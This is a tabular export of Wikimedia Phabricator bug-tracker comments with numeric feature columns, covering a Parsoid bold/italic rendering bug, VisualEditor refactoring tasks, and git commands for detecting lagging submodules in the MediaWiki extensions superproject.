https://gerrit.wikimedia.org/r/79925",,,1376947589,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,28.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.6,0.96,"Change 79925 had a related patch set uploaded by Cscott:
WIP: Tweak QuoteTransformer to more closely match PHP doQuotes.

GERRIT_URL"
233858,Parsoid not correctly rendering bold/italic text,"Change 79343 merged by jenkins-bot:
Add parserTests for the interaction of italics and possessives.

https://gerrit.wikimedia.org/r/79343",,,1376675597,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,"Change 79343 merged by jenkins-bot:
Add parserTests for the interaction of italics and possessives.

GERRIT_URL"
233853,Parsoid not correctly rendering bold/italic text,"Change 79343 had a related patch set uploaded by Cscott:
Add parserTests for the interaction of italics and possessives.

https://gerrit.wikimedia.org/r/79343",,,1376671455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.791666666666667,1.0,"Change 79343 had a related patch set uploaded by Cscott:
Add parserTests for the interaction of italics and possessives.

GERRIT_URL"
233844,Parsoid not correctly rendering bold/italic text,*** Bug 52254 has been marked as a duplicate of this bug. ***,,,1376606358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52254 has been marked as a duplicate of this bug. ***
233838,Parsoid not correctly rendering bold/italic text,See also bug 47326.,,,1374604512,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,See also bug 47326.
233833,Parsoid not correctly rendering bold/italic text,Just dropping this in for cross-referencing: bug 13227 (this bug made me remember that one).,,,1373766179,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.7142857142857144,0.9047619047619048,Just dropping this in for cross-referencing: bug 13227 (this bug made me remember that one).
233826,Parsoid not correctly rendering bold/italic text,"Taking this one, on subbu's suggestion.",,,1373301911,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.7777777777777777,1.0,"Taking this one, on subbu's suggestion."
233819,Parsoid not correctly rendering bold/italic text,"This is still appearing, this time in https://en.wikipedia.org/w/index.php?title=Dictionary&oldid=563086179&veaction=edit - start at "" Sebastián Covarrubias""",,,1373281341,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-gk2mpik33dhlthfx6ji5,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.9375,"This is still appearing, this time in URL - start at "" Sebastián Covarrubias"""
51924,VisualEditor: Refactor dialog to not need hardcoded padding for each subclass,"e.g. I don't want to see this:

.ve-ui-mwReferenceDialog-body {
  padding: 2em;
}

and have to apply that to each dialog that doesn't have panels.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1371780960,1530904214.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-6j7kkh226srwx4yd3xob,task_description,declined,True,c1,2,True,True,False,-2,,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5172413793103448,0.6379310344827587,"e.g. I don't want to see this:

.ve-ui-mwReferenceDialog-body {
  padding: 2em;
}

and have to apply that to each dialog that doesn't have panels.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
1099386,VisualEditor: Refactor dialog to not need hardcoded padding for each subclass,Closing vague idea from past me. Looks like this may've been an issue in what's now become OOUI.,,,1530904214,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6j7kkh226srwx4yd3xob,task_subcomment,,True,c1,3,True,,,261,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,3.761904761904762,0.9523809523809523,Closing vague idea from past me. Looks like this may've been an issue in what's now become OOUI.
51923,"VisualEditor: Rename internal use of ""Reference list"" to ""References list""","

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1371780900,1408586995.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-pg2baotfmhrts6ap3fmf,task_description,resolved,True,c1,2,True,False,False,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.5,"

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233594,"VisualEditor: Rename internal use of ""Reference list"" to ""References list""","Change 155091 merged by jenkins-bot:
Rename ""reference list"" to ""references list"" internally

https://gerrit.wikimedia.org/r/155091",,,1408584637,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pg2baotfmhrts6ap3fmf,task_subcomment,,True,c1,3,False,,,59,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,0.8181818181818182,"Change 155091 merged by jenkins-bot:
Rename ""reference list"" to ""references list"" internally

GERRIT_URL"
233590,"VisualEditor: Rename internal use of ""Reference list"" to ""References list""","Change 155091 had a related patch set uploaded by Jforrester:
Rename ""reference list"" to ""references list"" internally

https://gerrit.wikimedia.org/r/155091",,,1408473225,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pg2baotfmhrts6ap3fmf,task_subcomment,,True,c1,3,False,,,59,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.56,0.84,"Change 155091 had a related patch set uploaded by Jforrester:
Rename ""reference list"" to ""references list"" internally

GERRIT_URL"
51906,monitor mediawiki extensions superproject misconfiguration,"The beta cluster rely on the super project mediawiki/extensions.git to deploy extensions automatically.  Sometime an extension would be misconfigured, a recent example is VisualEditor which got stuck for a few weeks to an old version (bug 49846).

It would be nice to run a SQL query daily that would mail gerritadmin about any misconfiguration.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Medium,50.0,1371759600,1389653066.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-io6oush42k3uezzajdmy,task_description,declined,True,c1,2,True,False,False,-2,,2.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,7.0,5.0,0.0,0.0,0.0,1.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,1.0,4.440476190476191,0.7619047619047619,"The beta cluster rely on the super project mediawiki/extensions.git to deploy extensions automatically.  Sometime an extension would be misconfigured, a recent example is VisualEditor which got stuck for a few weeks to an old version (bug 49846).

It would be nice to run a SQL query daily that would mail gerritadmin about any misconfiguration.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
232687,monitor mediawiki extensions superproject misconfiguration,"I have filled that bug to monitor mediawiki/extensions.git being badly configured (for bug 49846).  Instead of using Gerrit maintained mediawiki/extensions.git, I will write a script that list all extensions, register them on beta and then do the submodule update.",,,1389653066,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,3,True,,,28,,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,8.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,6.0,8.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,4.0,4.52,0.84,"I have filled that bug to monitor mediawiki/extensions.git being badly configured (for bug 49846).  Instead of using Gerrit maintained mediawiki/extensions.git, I will write a script that list all extensions, register them on beta and then do the submodule update."
232684,monitor mediawiki extensions superproject misconfiguration,"(In reply to comment #6)
> So now ""all"" that is needed is to have this in a cronjob that mails the
> output to...?

I have no clue where it could be send. Nor do I have any idea where such a script should be run.

Possibly, we could run it once a few times per day as a Jenkins job and make that job alert back on IRC and/or to the Gerrit admin mail alias.",,,1385157948,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,3,True,,,20,,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,14.0,3.0,4.0,11.0,0.0,0.0,0.0,1.0,10.0,0.0,1.0,0.0,7.0,9.0,4.0,0.0,0.0,0.0,7.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,3.2,0.7714285714285715,"(In reply to comment #6)
QUOTE
QUOTE

I have no clue where it could be send. Nor do I have any idea where such a script should be run.

Possibly, we could run it once a few times per day as a Jenkins job and make that job alert back on IRC and/or to the Gerrit admin mail alias."
232681,monitor mediawiki extensions superproject misconfiguration,"(In reply to comment #7)
> Greg: Was that a question to hashar?

Yeah, rhetorical mostly, but he's the one that can answer it ;)",,,1385137357,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,8.0,0.0,4.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.076923076923077,0.9615384615384616,"(In reply to comment #7)
QUOTE

Yeah, rhetorical mostly, but he's the one that can answer it ;)"
232676,monitor mediawiki extensions superproject misconfiguration,Greg: Was that a question to hashar?,,,1385134227,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Greg: Was that a question to hashar?
232670,monitor mediawiki extensions superproject misconfiguration,"So now ""all"" that is needed is to have this in a cronjob that mails the output to...?",,,1383761840,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,3,False,,,18,,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,5.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,9.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.8181818181818182,"So now ""all"" that is needed is to have this in a cronjob that mails the output to...?"
232662,monitor mediawiki extensions superproject misconfiguration,https://gerrit.wikimedia.org/r/#/c/70836/ adds a script to verify the extensions syncronization.,,,1372350237,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,URL adds a script to verify the extensions syncronization.
232653,monitor mediawiki extensions superproject misconfiguration,"A slightly better version being run on mediawiki/extensions.git at d0680b9


$ git submodule --quiet foreach 'test ""$(git rev-list HEAD..origin/master --count)"" = ""0"" || echo ""ERROR! $path is lagging behind.""'ERROR! AutoCreateCategoryPages is lagging behind.
ERROR! Bootstrap is lagging behind.
ERROR! Campaigns is lagging behind.
ERROR! CirrusSearch is lagging behind.
ERROR! CommunityTwitter is lagging behind.
ERROR! CoreEvents is lagging behind.
ERROR! EImage is lagging behind.
ERROR! JsonData is lagging behind.
ERROR! Less is lagging behind.
ERROR! OpenStreetMapSlippyMap is lagging behind.
ERROR! PerPageLicense is lagging behind.
ERROR! QuickResponse is lagging behind.
ERROR! TimelineTable is lagging behind.
ERROR! VisualEditor is lagging behind.
ERROR! WikibaseDataModel is lagging behind.
ERROR! WikibaseQueryEngine is lagging behind.
$",,,1372349620,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.5,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,9.5,18.5,0.0,0.0,0.5,0.0,0.0,9.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,16.5,0.0,3.0,0.0,0.5,0.0,0.0,0.5,0.0,9.0,1.0,0.0,0.5,4.235580524344569,0.37896379525593005,"A slightly better version being run on mediawiki/extensions.git at d0680b9


$ git submodule --quiet foreach 'test ""$(git rev-list HEAD..origin/master --count)"" = ""0"" || echo ""ERROR! $path is lagging behind.""'ERROR! AutoCreateCategoryPages is lagging behind.
ERROR! Bootstrap is lagging behind.
ERROR! Campaigns is lagging behind.
ERROR! CirrusSearch is lagging behind.
ERROR! CommunityTwitter is lagging behind.
ERROR! CoreEvents is lagging behind.
ERROR! EImage is lagging behind.
ERROR! JsonData is lagging behind.
ERROR! Less is lagging behind.
ERROR! OpenStreetMapSlippyMap is lagging behind.
ERROR! PerPageLicense is lagging behind.
ERROR! QuickResponse is lagging behind.
ERROR! TimelineTable is lagging behind.
ERROR! VisualEditor is lagging behind.
ERROR! WikibaseDataModel is lagging behind.
ERROR! WikibaseQueryEngine is lagging behind.
$"
232645,monitor mediawiki extensions superproject misconfiguration,"So to find out what is not up to date:

Fetch the extensions:

 git clone https://gerrit.wikimedia.org/r/p/mediawiki/extensions.git 
 cd extensions
 git submodule update --init

Then for each submodules look at the number of commits between HEAD (the currently checked out version locally) and origin/master (the version in gerrit):

 git submodule foreach 'test ""$(git rev-list HEAD..origin/master --count)"" = ""0""  && echo ""Up to date."" || echo ""ERROR!""'

Gives out something like:

 ...
 Entering 'AuthorProtect'
 Up to date.
 Entering 'AutoCreateCategoryPages'
 ERROR!

That extension is indeed lagging:

hashar:~/extensions/AutoCreateCategoryPages$ git log --oneline --decorate  --all -n4
14a097d (origin/master, origin/HEAD, master) Localisation updates from http://translatewiki.net.
981a381 (HEAD) Localisation updates from http://translatewiki.net.
e01f64e Add .gitreview and .gitignore
7ae6dd3 (origin/REL1_21) Localisation updates from http://translatewiki.net.",,,1372349226,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-io6oush42k3uezzajdmy,task_subcomment,,True,c1,2,True,,,-1,,0.5,0.5,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.0,3.5,9.5,0.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,4.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.0,14.0,0.0,2.0,3.5,0.0,0.0,1.0,0.0,2.0,0.5,1.5,0.0,0.0,9.5,10.5,0.0,7.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,4.01595744680851,0.6436170212765957,"So to find out what is not up to date:

Fetch the extensions:

 git clone URL 
 cd extensions
 git submodule update --init

Then for each submodules look at the number of commits between HEAD (the currently checked out version locally) and origin/master (the version in gerrit):

 git submodule foreach 'test ""$(git rev-list HEAD..origin/master --count)"" = ""0""  && echo ""Up to date."" || echo ""ERROR!""'

Gives out something like:

 ...
 Entering 'AuthorProtect'
 Up to date.
 Entering 'AutoCreateCategoryPages'
 ERROR!

That extension is indeed lagging:

hashar:~/extensions/AutoCreateCategoryPages$ git log --oneline --decorate  --all -n4
14a097d (origin/master, origin/HEAD, master) Localisation updates from URL
981a381 (HEAD) Localisation updates from URL
e01f64e Add .gitreview and .gitignore
7ae6dd3 (origin/REL1_21) Localisation updates from URL"
